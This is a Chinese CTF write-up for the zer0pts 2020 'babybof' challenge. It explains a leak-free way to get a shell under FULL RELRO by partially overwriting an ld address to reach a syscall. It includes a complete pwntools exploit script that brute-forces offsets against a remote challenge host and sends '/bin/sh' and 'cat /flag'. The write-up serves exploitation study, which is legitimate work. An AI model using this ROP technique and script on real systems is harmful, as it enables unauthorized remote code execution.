0%

zer0pts_2020_babybof(一种在FULL RELRO情况下无泄漏的getshell方法)

首先,检查一下程序的保护机制

然后,我们在IDA里分析一下,是一个极其简单的程序,存在栈溢出

但是程序里没有函数用于泄露,并且FULL RELRO,不能使用ret2dl。

但是可以覆盖bss上stderr的指针为one_gadget,然后call,但是这个概率极其低

介绍一种FULL RELRO清空下无泄漏,且概率在1/16左右的getshell新方法。

我们看到,在栈底部某处,有一个ld的地址,我们可以低字节覆盖其后两字节,则有1/16的几率正好到ld里某处syscall的位置。因此,我们在前面通过rop,设置好寄存器的值后,剩下部分使用ret填充一直到此处,然后再覆盖低2个字节,这样,程序通过前面的ret,一直滑行,最终到达此处,调用syscall从而getshell。

在这里,通过调用setbuf函数,可以使得rdx寄存器指向一片空数据的区域,这样可以满足execve系统调用的第三个参数的要求,然后第1、第2个参数我们可以用gadget控制。

然后,还有一个地方需要爆破,该ld的地址与栈溢出的起始点之间的偏移,在不同机器上可能不同,也就是远程和本地,其距离可能不同。因此,我们还需要爆破它们之间的距离。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#coding:utf8
from pwn import *

context.log_level = 'debug'
#sh = process('./zer0pts_2020_babybof',env={'LD_PRELOAD':'./libc-2.23.so:./ld-2.23.so'})
#sh = remote('node3.buuoj.cn',26697)
elf = ELF('./zer0pts_2020_babybof')
libc = ELF('./libc-2.23.so')
read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rdi = 0x000000000040049c
pop_rsi = 0x000000000040049e
pop_rbp = 0x000000000040047c
leave_ret = 0x0000000000400499
fun_addr = 0x000000000040047E
bss = 0x0000000000601100
steup = 0x000000000040043F
ret = 0x000000000040047D

for i in range(12,20): #爆破距离
for j in range(100):
try:
payload = 'a'*0x28 + p64(steup) #执行setup函数后,rdx指向一片空数据区域
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(read_plt)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
#payload += p64(ret)*11 #local
payload += p64(ret)*i #remote = 18
payload += p16(0x4BD3)

global sh
#sh = process('./zer0pts_2020_babybof',env={'LD_PRELOAD':'./libc-2.23.so:./ld-2.23.so'})
sh = remote('node3.buuoj.cn',26780)
#sh = remote('192.168.232.129',8666)
#raw_input()
sh.send(payload)
sleep(1)
#raw_input()
sh.send('/bin/sh'.ljust(0x3B,'\x00'))
sleep(1)
sh.sendline('cat /flag')
if 'timeout' in sh.recv():
raise Exception('retry')

sh.interactive()
except:
sh.close()
print 'trying...'